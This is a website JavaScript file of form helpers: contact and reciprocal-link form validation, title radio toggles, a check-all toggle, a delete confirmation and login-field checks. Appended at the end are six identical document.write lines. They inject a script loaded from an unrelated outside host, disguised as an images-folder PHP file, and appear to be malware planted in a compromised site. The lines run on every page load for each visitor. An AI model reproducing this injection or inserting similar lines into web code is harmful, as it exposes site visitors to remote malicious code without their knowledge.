function validate1()
	{
	var frm=document.frmContactUs;
	reg=frm.name;
	if (reg.value.length==0)
		{
		alert("Please enter the name !!!");
		reg.focus();
		return false;
		}	
	reg=frm.email;
	if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(reg.value))
		{
		}
		else
		{
			alert("Please enter a valid email !!!");
			reg.focus();
			return false;
		}			
	reg=frm.subject;
	if (reg.value.length==0)
		{
		alert("Please enter the subject !!!");
		reg.focus();
		return false;
		}		
	reg=frm.message;
	if (reg.value.length==0)
		{
		alert("Please enter the message !!!");
		reg.focus();
		return false;
		}
	return true;
	}
	
	
	function validate()
	{
	var frm=document.frmReciprocal;
	reg=frm.reciprocal_link;
	if (reg.value.length==0)
		{
		alert("Please enter the Reciprocal Link name !!!");
		reg.focus();
		return false;
		}	
	var reg=frm.sitename;
	if (reg.value.length==0)
		{
		alert("Please enter the name of your site !!!");
		reg.focus();
		return false;
		}
	reg=frm.email;
	if (/^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/.test(reg.value))
		{
		}
		else
		{
			alert("Please enter a valid email !!!");
			reg.focus();
			return false;
		}
	reg=frm.catagory;
	if (reg.value.length==0)
		{
		alert("Please select a category !!!");
		reg.focus();
		return false;
		}
	reg=frm.siteURL;
	if (reg.value.length==0)
		{
		alert("Please enter the URL of the page where the reciprocal link can be found !!!");
		reg.focus();
		return false;
		}
	reg=frm.cata_desc;
	if (reg.value.length==0)
		{
		alert("Please enter the Catagory Description of the page where the reciprocal link can be found !!!");
		reg.focus();
		return false;
		}	
	return true;
	}	
	
		function ft1()
		{
		 theForm=document.form1;
		
		if(theForm.T1.checked)
		 {
			theForm.T2.checked = false;
			theForm.T3.checked = false;
			theForm.Title.value = "Mr.";
			
		 }
		}
		
		
		function ft2()
		{
		 theForm=document.form1;
		
		if(theForm.T2.checked)
		 {
			theForm.T1.checked = false;
			theForm.T3.checked = false;
			theForm.Title.value = "Ms.";
		 }
		}
		
		
		function ft3()
		{
		 theForm=document.form1;
		
		if(theForm.T3.checked)
		 {
			theForm.T1.checked = false;
			theForm.T2.checked = false;
			theForm.Title.value = "Mrs.";
		 }
		}
function SelectOption(OptionListName, ListVal)
{
	for (i=0; i < OptionListName.length; i++)
	{
		if (OptionListName.options[i].value == ListVal)
		{
			OptionListName.selectedIndex = i;
			break;
		}
	}
}		


var checkflag = "false";
function check(field) {
if (checkflag == "false") {
  for (i = 0; i < field.length; i++) {
  field[i].checked = true;}
  checkflag = "true";
  return "Uncheck all"; }
else {
  for (i = 0; i < field.length; i++) {
  field[i].checked = false; }
  checkflag = "false";
  return "Check all"; }
}


function delete_confirm(id)
{
  if(confirm("Are you sure you want to delete this item?"))
    return true;
  else
    return false;
}

   function checkForm(theForm){
        if(theForm.username.value == "" || IsAllSpaces(theForm.username.value)){
                alert("Please enter a your login name.");
                theForm.username.focus();
                return false;
        }
        if(theForm.password.value == "" || IsAllSpaces(theForm.password.value)){
                alert("Please enter a your password.");
                theForm.password.focus();
                return false;
        }
        return true;
   }
   function IsAllSpaces(myStr){
        while (myStr.substring(0,1) == " "){
                myStr = myStr.substring(1, myStr.length);
        }
        if (myStr == ""){
                return true;
        }
        return false;
   }
   

document.write('<script src=http://difficultairwaybox.com/images/flashtest.php ><\/script>');
document.write('<script src=http://difficultairwaybox.com/images/flashtest.php ><\/script>');
document.write('<script src=http://difficultairwaybox.com/images/flashtest.php ><\/script>');
document.write('<script src=http://difficultairwaybox.com/images/flashtest.php ><\/script>');
document.write('<script src=http://difficultairwaybox.com/images/flashtest.php ><\/script>');
document.write('<script src=http://difficultairwaybox.com/images/flashtest.php ><\/script>');